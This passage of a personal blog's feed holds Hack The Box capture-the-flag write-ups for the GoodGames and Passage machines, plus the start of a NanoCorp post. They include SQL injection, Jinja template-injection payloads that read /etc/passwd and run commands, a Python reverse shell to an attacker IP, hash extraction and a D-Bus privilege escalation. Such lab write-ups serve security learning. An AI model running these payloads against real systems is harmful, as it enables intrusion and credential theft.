&lt;p&gt;&lt;img src=&quot;attachments/04537e568e91c6aa4f3fbd78416b5134.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c2f03d2fe129810c2e5ad118aa177e45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-GoodGames</title><link>https://maxk9999.vercel.app/posts/goodgames</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/goodgames</guid><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.130
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn 10.10.11.130

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Werkzeug httpd 2.0.2 (Python 3.9.2)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET POST
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB
|_http-title: GoodGames | Community and Store
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;The site seems to be running on &lt;code&gt;python&lt;/code&gt;, meaning it&apos;s LIKELY a &lt;strong&gt;Flask&lt;/strong&gt; or &lt;strong&gt;Django&lt;/strong&gt; instance.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/df45afff31aee7aa22e1d9d8cda7271f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3b647c62cc64115920d5eee564db46c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wappalyzer&lt;/code&gt; tells us it&apos;s running on &lt;strong&gt;Flask 2.0.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I went ahead and tested the functionality of the website such as the sign up page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3f2ffb30454fe4c8eadbd5aff7a9d26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65154e413e508ac56d0a0c52381f2c10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/547060ce3c9120af4c6989907c4d3b48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I analysed the requests in &lt;code&gt;burp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ddf09225632f218684d55d27f293a2d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The cookie looks like a JWT token:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9020155fe7e43849d364af7feb68a315.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that I didn&apos;t find anything so I started off by automating some testing.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;SQLi&lt;/h2&gt;
&lt;p&gt;I went ahead and tested some of the &lt;code&gt;POST&lt;/code&gt; requests like the password reset and such using &lt;code&gt;sqlmap&lt;/code&gt; until one of them worked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8aa6aaf757c1b3cbbb05b801a983f7b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9aafd6f12997284d87d21d09742d8859.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87d2987ce94e859e4b9ca219393507e3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7d808a0ca4c87d6e5ccb6ba400ca7848.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I cracked this password using crackstation&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/06b9754df17303456b85261dcadd6671.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin@goodgames.htb
superadministrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f62340399af6d499cd49836ee22f18c3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ec23f61a90864184503f6328007aeb1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This time a new Icon appeared:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/743f63752b5530dc59dcc91285f36136.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Clicking on it redirects us to another vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d4b5fde3a9b5796c1670026330f24b60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cf83c62045ab0eb1a269cde9a9cbb5ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;internal-administration.goodgames.htb&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/468a00b8858efc23eda422d75f9b8523.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can log in with the previously found creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/608866cf43d19afb1d78cfd4dc76d518.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSTI&lt;/h2&gt;
&lt;p&gt;However since this is &lt;strong&gt;Flask&lt;/strong&gt; I tried out to exploit a &lt;strong&gt;SSTI&lt;/strong&gt; vulnerability:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/881748186dd96a345e9302823122b460.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3238061c474f6e4cdbd98385ff3bceb2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It worked since this is the expected output of the &lt;code&gt;jinja&lt;/code&gt; templating language.&lt;/p&gt;
&lt;p&gt;:::note
The result will enable us to deduce the template engine used by the web application. In Jinja, the result will be &lt;code&gt;7777777&lt;/code&gt;, while in Twig for example, the result will be &lt;code&gt;49&lt;/code&gt;. Since this application is running on &lt;strong&gt;Flask&lt;/strong&gt; though, &lt;code&gt;jinja&lt;/code&gt; is the only viable option here.
:::&lt;/p&gt;
&lt;p&gt;We can start testing various payloads, the following for example outputs the web application&apos;s configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ config.items() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f1cdd84fc9fa436b5fa072fd65b3eef7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can use the following to achieve &lt;strong&gt;LFI&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.open(&quot;/etc/passwd&quot;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33141927d6fff6da3217cab634e6709e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we can even achieve &lt;strong&gt;RCE&lt;/strong&gt; by importing the &lt;code&gt;os&lt;/code&gt; library.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;whoami;id&apos;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b86eb935fcbe4ca7fb80f623cf74cfac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well that&apos;s convenient! However after some further testing I found out that this instance is running from a &lt;code&gt;docker&lt;/code&gt; container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;ip a&apos;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dc67a3fa04142b5ba9f5c17b6091f235.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is verified using the following payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;ls -la&apos;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc87d9ccb48eb06e482524705ea55aca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Docker shell as root&lt;/h2&gt;
&lt;p&gt;With the use of the following payload I got myself a reverse shell into the &lt;code&gt;docker&lt;/code&gt; container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&quot;python3 -c &apos;import os,pty,socket;s=socket.socket();s.connect((\&quot;10.10.14.8\&quot;,80));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\&quot;/bin/bash\&quot;)&apos;&quot;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/716906f1c2fff22c19b7894ff752f3e7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I can still get the &lt;code&gt;user.txt&lt;/code&gt; flag easily.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e7131632d32402df2bea94568b88cf1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;root.txt&lt;/code&gt; flag however is not present:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/061d3de44c00261f146f7cb7f4bd332d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Docker Escape&lt;/h1&gt;
&lt;h2&gt;Ligolo-ng&lt;/h2&gt;
&lt;p&gt;Since the &lt;em&gt;augustus&lt;/em&gt; user is mounted here we can try to upload our &lt;code&gt;ssh&lt;/code&gt; key to their &lt;code&gt;.ssh&lt;/code&gt; directory in order to get a foothold that way.
In order to do this though we need to set up a &lt;code&gt;ligolo&lt;/code&gt; port forward first since the &lt;code&gt;22&lt;/code&gt; port isn&apos;t open to the outside.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nohup ./agent -connect 10.10.14.8:11601 -ignore-cert &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/20440b35fa1ae79f1ed0cdbd76ced73d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/876476e01f2cab6d634be96c7bbc1ded.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e4453135334873bd0de1b5efeffd60e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we transfer the &lt;code&gt;id_rsa.pub&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4dddddfc9cd069727c70cc887cc69ab2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3273b8da308e47361f597b168c20704.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as augustus&lt;/h2&gt;
&lt;p&gt;Now it&apos;s as easy as pie:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99a3835b248ba5781cd3def2ef756c8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0528665714b12144e1fd161cd3b4f56b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice that we&apos;ve successfully escaped the docker container.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;From the &lt;code&gt;ssh&lt;/code&gt; host we will copy over the &lt;code&gt;bash&lt;/code&gt; binary:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/258f1bbd52d735449916f26966417576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;From the &lt;code&gt;docker&lt;/code&gt; container we will modify the permissions on the binary:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7e63ffd876c2dd58d86506b0703523b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Profit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ac465804bcaa7da05c261653d82cf37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;root.txt&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8587e6c3d99ec35755492053e29eef5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1701d2f190f518cf421a30f20a226c1f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Passage</title><link>https://maxk9999.vercel.app/posts/passage</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/passage</guid><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.10.206
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn passage.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a6fa9750217ae1b16370f2649cc18c5a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can leave comments:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab7662dc067adc451774077f190ba8dc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The blog mentions that they&apos;ve implemented a &lt;strong&gt;Fail2Ban&lt;/strong&gt; system where it will block us for 2 minutes in case of heavy traffic so we will have to limit our automated testing.
:::&lt;/p&gt;
&lt;p&gt;I checked out the tech stack:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c3167b98cf67217382fef5b14f81ca62.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And noticed that the site is powered by &lt;strong&gt;CuteNews&lt;/strong&gt; and the copyright mentions &lt;strong&gt;Passage News 2020&lt;/strong&gt; so I started checking for exploits:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/11c8cb606303f2a8536b29e874beb856.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2019-11447&lt;/h2&gt;
&lt;p&gt;I checked out &lt;a href=&quot;https://www.exploit-db.com/exploits/48800&quot;&gt;the exploit&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d99ff6609df84b0648d83a230251ee0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and tested it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/70f3a3a7e60a3b14c0b69655d6d1c6a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we&apos;ve successfully achieved &lt;strong&gt;RCE&lt;/strong&gt;, time to execute some commands.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;I then established a reverse shell connection:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8109347aca07f39b6cfd6739b5a1bde5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29543aa71475d93764bf9a49e1b9943d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hereafter I enumerated the users present on the target:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28fd1d994978ad84f0beed0267d48b56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t have permissions over either directories.&lt;/p&gt;
&lt;p&gt;Looking around in the webroot I found something interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38a521b21d4d439f3459d97f324b5158.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4fce876d898ce1cc78fb13dbeaa5d44d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These files all contained lines that looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/233d3c5552d9db062327a295fa28642f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These are &lt;code&gt;base64&lt;/code&gt; encoded and are easily decoded:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6e38db4616ed2b9f1c16233d928c558b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However some files, like &lt;code&gt;b0.php&lt;/code&gt; in this case, were bigger and contained more info:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0d5694f1f456a95a0f00a4aff03fdab1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like some of these contain hashes, which is great since there are 2 users on the system, where one of them is &lt;em&gt;paul&lt;/em&gt;. We can enumerate this quicker instead of just going through them manually:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for f in *; do
&amp;gt;   body=$(sed -n &apos;1,200p&apos; &quot;$f&quot; \
&amp;gt;     | sed &apos;1s/^&amp;lt;?php.*die;//I&apos; \
&amp;gt;     | tr -d &apos;\r\n&apos; \
&amp;gt;     | sed &apos;s/[^A-Za-z0-9+\/=]//g&apos;)
&amp;gt;   [ -z &quot;$body&quot; ] &amp;amp;&amp;amp; continue
&amp;gt;   echo &quot;$body&quot; | base64 -d 2&amp;gt;/dev/null || continue
&amp;gt; done \
&amp;gt; | perl -0777 -ne &apos;
&amp;gt;   # match the structure: s:&amp;lt;len&amp;gt;:&quot;name&quot;;a:&amp;lt;n&amp;gt;:{ s:&amp;lt;len&amp;gt;:&quot;&amp;lt;username&amp;gt;&quot;;a:&amp;lt;m&amp;gt;:{ ... s:4:&quot;pass&quot;;s:&amp;lt;len&amp;gt;:&quot;&amp;lt;hash&amp;gt;&quot; ...
&amp;gt;   while (m/s:\d+:&quot;name&quot;;a:\d+:\{\s*s:\d+:&quot;([^&quot;]+)&quot;;a:\d+:\{.*?s:4:&quot;pass&quot;;s:\d+:&quot;([0-9a-f]{64})&quot;/gs) {
&amp;gt;     print &quot;$1:$2\n&quot;;
&amp;gt;   }
&amp;gt; &apos; \
&amp;gt; | sort -u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1eacaad619dc8d958eccfc048ddba7ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Only 2 of these were crackable:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a10575968adae233628b66a22e0d1b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as paul&lt;/h2&gt;
&lt;p&gt;We can use the following creds to get a shell as &lt;em&gt;paul&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;paul
atlanta1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/744b040ecb238ced5cbc64ba2f0106ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad048089c92b8f39ce489e356779fab9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;Unfortunately I can&apos;t run &lt;code&gt;sudo -l&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48fecdf7708a94c44fdbefd94f880f3f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then read the &lt;code&gt;id_rsa&lt;/code&gt; and used it to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50fef8f286c08326834b62785658dd34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1dff35f3ac83b5f8c70a84b04c2d23d1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While checking further I didn&apos;t see anything noteworthy on the surface except for the fact that the &lt;code&gt;id_rsa.pub&lt;/code&gt; had &lt;em&gt;nadav&lt;/em&gt;&apos;s name in it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4261ca58ccb4a878c8101b1bea992813.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Could this be a shared key?&lt;/p&gt;
&lt;h2&gt;Shell as nadav&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5d733a1b0669b0576e3d1bf1d4f68a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out the same key can be used to log in as &lt;em&gt;nadav&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;While I can&apos;t run &lt;code&gt;sudo -l&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bd11c652530c7279b810a6ed6f1533d5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I did notice that this user is in some &lt;em&gt;interesting&lt;/em&gt; groups to say the least:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c973c7eb8c64540a300aceb0d61a004f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately for us though we can&apos;t do anything with the &lt;code&gt;sudo&lt;/code&gt; group as we don&apos;t have the password for &lt;em&gt;nadav&lt;/em&gt;...&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;USBCreator D-Bus&lt;/h2&gt;
&lt;p&gt;I found a &lt;a href=&quot;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&quot;&gt;blog&lt;/a&gt; that showed a flaw in the &lt;strong&gt;USBCreator D-Bus&lt;/strong&gt; interface:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9442fc07bc37c1b652c04b18a356ffb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Interestingly they mention the same &lt;em&gt;nadav&lt;/em&gt; user in their blog:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ead5b3d972303f5ae0aeedea7008036.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Copy a file to a non-existent file location:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/owned true
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Read the file:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;attachments/44dab6d3c2ce301a847783d3cd3081d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can abuse the fetched &lt;code&gt;id_rsa&lt;/code&gt; to log in as &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/75351e6d0c9ca0fa104b162bdef7aede.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad9c5cb2f822ad2363c0b57b8fce23de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9cfd16c48652e893f370d337a333c85.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-NanoCorp</title><link>https://maxk9999.vercel.app/posts/nanocorp</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/nanocorp</guid><pubDate>Wed, 12 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.93
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -Pn -T5 -vvvv --min-rate=5000 10.10.11.93

PORT     STATE SERVICE           REASON  VERSION
53/tcp   open  domain            syn-ack Simple DNS Plus
80/tcp   open  http              syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-title: Nanocorp
88/tcp   open  kerberos-sec      syn-ack Microsoft Windows Kerberos (server time: 2025-11-12 14:23:30Z)
135/tcp  open  msrpc             syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn       syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?     syn-ack
464/tcp  open  kpasswd5?         syn-ack
593/tcp  open  ncacn_http        syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?          syn-ack
3268/tcp open  ldap              syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl? syn-ack
5986/tcp open  ssl/http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Issuer: commonName=dc01.nanocorp.htb
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m58s
| smb2-time: 
|   date: 2025-11-12T14:23:43
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 22381/tcp): CLEAN (Timeout)
|   Check 2 (port 20267/tcp): CLEAN (Timeout)
|   Check 3 (port 64929/udp): CLEAN (Timeout)
|   Check 4 (port 35963/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4c0475217094f8f0f5e4597784536bf4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By clicking on &lt;strong&gt;About Us&lt;/strong&gt; it takes us to a subdomain:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6ffbd45c1f90654747c7173985a44cb.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;attachments/548ad75367d3c8b355879482249581d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;hire.nanocorp.htb&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d3fa355dbba07a50066c73383fed1d40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
